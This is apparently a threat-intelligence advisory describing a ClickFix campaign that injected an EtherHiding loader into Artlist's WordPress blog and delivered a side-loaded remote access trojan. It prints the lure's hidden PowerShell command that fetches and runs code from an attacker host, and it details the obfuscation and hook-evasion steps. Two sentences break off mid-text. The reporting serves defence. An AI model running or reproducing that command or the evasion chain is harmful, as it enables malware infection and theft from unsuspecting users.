Infostealer-Enabled ClickFix Campaign Compromises Artlist via EtherHiding C2 and DLL Side-Loaded RAT — Threadlinqs Intelligence
As of 2026-07-19, Infostealer-Enabled ClickFix Campaign Compromises Artlist via EtherHiding C2 and DLL Side-Loaded RAT is a high-severity malware threat, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 27 indicators of compromise.
Threat ID: TL-2026-1552 · Severity: HIGH · Status: ACTIVE · Category: MALWARE
A 2023 infostealer infection on a freelance WordPress developer's machine, seeded by a pirated Adobe Acrobat Pro DC torrent, exfiltrated a senior Artlist content executive's credentials. In 2026 those
In August 2023 an Israeli freelance WordPress full-stack developer downloaded a pirated copy of Adobe Acrobat Pro DC via a uTorrent torrent, executing a trojanized installer that deployed a generic infostealer on the developer's machine. The infostealer harvested saved browser passwords, cookies, and session tokens, among them credentials belonging to a six-year Artlist Senior Content Executive who had (likely inadvertently, through shared/reused workstation access or credential reuse) authenticated to Artlist's WordPress backend from that machine. Those credentials sat in infostealer-log marketplaces/C2 for roughly three years before being operationalized.
In July 2026, threat actors used the harvested credentials to log into `new-blog.artlist[.]io/blog/wp-login.php` with high-privilege access and injected obfuscated JavaScript (XOR key 0x50, then base64) into the blog's HTML templates. This Stage-0 loader queries a Polygon blockchain smart contract (`0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2`, function selector `0xb68d1809`) via RPC using a campaign-specific token (`fd31a7ad950e56856e09dcb32f0fc58caec1ad7da5c91b0a`) to dynamically resolve the current delivery host, an implementation of the EtherHiding technique previously documented against financially motivated (UNC5142) and DPRK-linked (UNC5342) actors abusing BNB Smart Chain — this campaign is the first Hudson Rock/derp.ca have documented on Polygon against a single high-traffic corporate blog rather than a mass WordPress-plugin sweep.
The resolved host, `auth-code-check[.]info`, serves a full-page Shadow-DOM overlay mimicking a reCAPTCHA verification ("ClickFix"), complete with a script guard (`window["_197515e445"]`) to block re-execution and blocked keyboard shortcuts/right-click to hinder inspection. The lure instructs the victim to press Windows+R/X, I, then Ctrl+V, Enter, pasting a hidden, window-hidden PowerShell one-liner (`powershell -w h "iex(irm 'auth-code-check[.]info/<ray>' -UseBasicParsing)"; exit`) into a Windows dialog. The command silently retrieves a password-protected archive `fdupdate.zip` (32,713,067 bytes, password `Arsen33`), stages a helper 7z.exe, and extracts `fdupdate.exe` — a legitimate, validly signed StruSoft FEM-Design structural-engineering updater binary.
`fdupdate.exe` DLL side-loads an unsigned, malicious `LibBind.dll` placed alongside it. LibBind.dll (entry `group_by_u`) reads and XOR-decodes (key 0xe5) an encrypted slice from `Stream.Toolkit.dat` at file offset 0x4c26a (length 0x533a3), manually resolves Windows APIs, and allocates executable memory. Rather than invoking code directly, the loader triggers shellcode execution via the `EnumTimeFormatsEx` enumeration-callback API, a technique that bypasses common userland hooks placed on standard thread-creation and execution APIs (CreateThread, NtCreateThreadEx, etc.). A companion module, `TBFVSS_DLL_SRV_64.dll` (`data_process`), allocates a further execution region. The decoded blob implements a custom virtual file system that parses `Face.dat` (custom storage key 0x1b51b9fd) to extract and decode a Delphi-compiled loader, `act.exe`, itself decrypted with AES-256-CBC using a key derived from an MD5 hash iteration (`36D6111FE68AE52A7B9E2095280EECAC`). act.exe decompresses an embedded ZIP into position-independent x64 shellcode and manually maps the final RAT payload (embedded PE at offset 0xc48, length 0x873c00 within the loader chain, final layer XOR-indexed with key `0x43 ^ (i & 0xff)`) — six distinct decoding/loading boundaries in total, described by the analyst as "Russian nesting dolls" of obfuscation.
The final payload is a full-featured, custom Remote Access Trojan communicating over a proprietary framed protocol: each transmission generates a fresh AES-256 session key wrapped with a 1024-bit RSA public key, commands dispatched through an encrypted WM_COPYDATA-style frame keyed by a selector at offset +0x18 (1=remote desktop/keyboard/mouse/clipboard, 2=filesystem operations,
Weaknesses (CWE)
CWE-287, CWE-494, CWE-506, CWE-522
Target sectors: news - media, entertainment, technology, creative-services
Target regions: Global, israel
Detections & IOCs
As of 2026-07-22, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 27 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
MALWARE, HIGH, threat intelligence, cybersecurity, T1584.004, T1585.001, T1078, T1189, T1204.004, T1059.001, T1204.002, T1129, T1547.001, T1053.005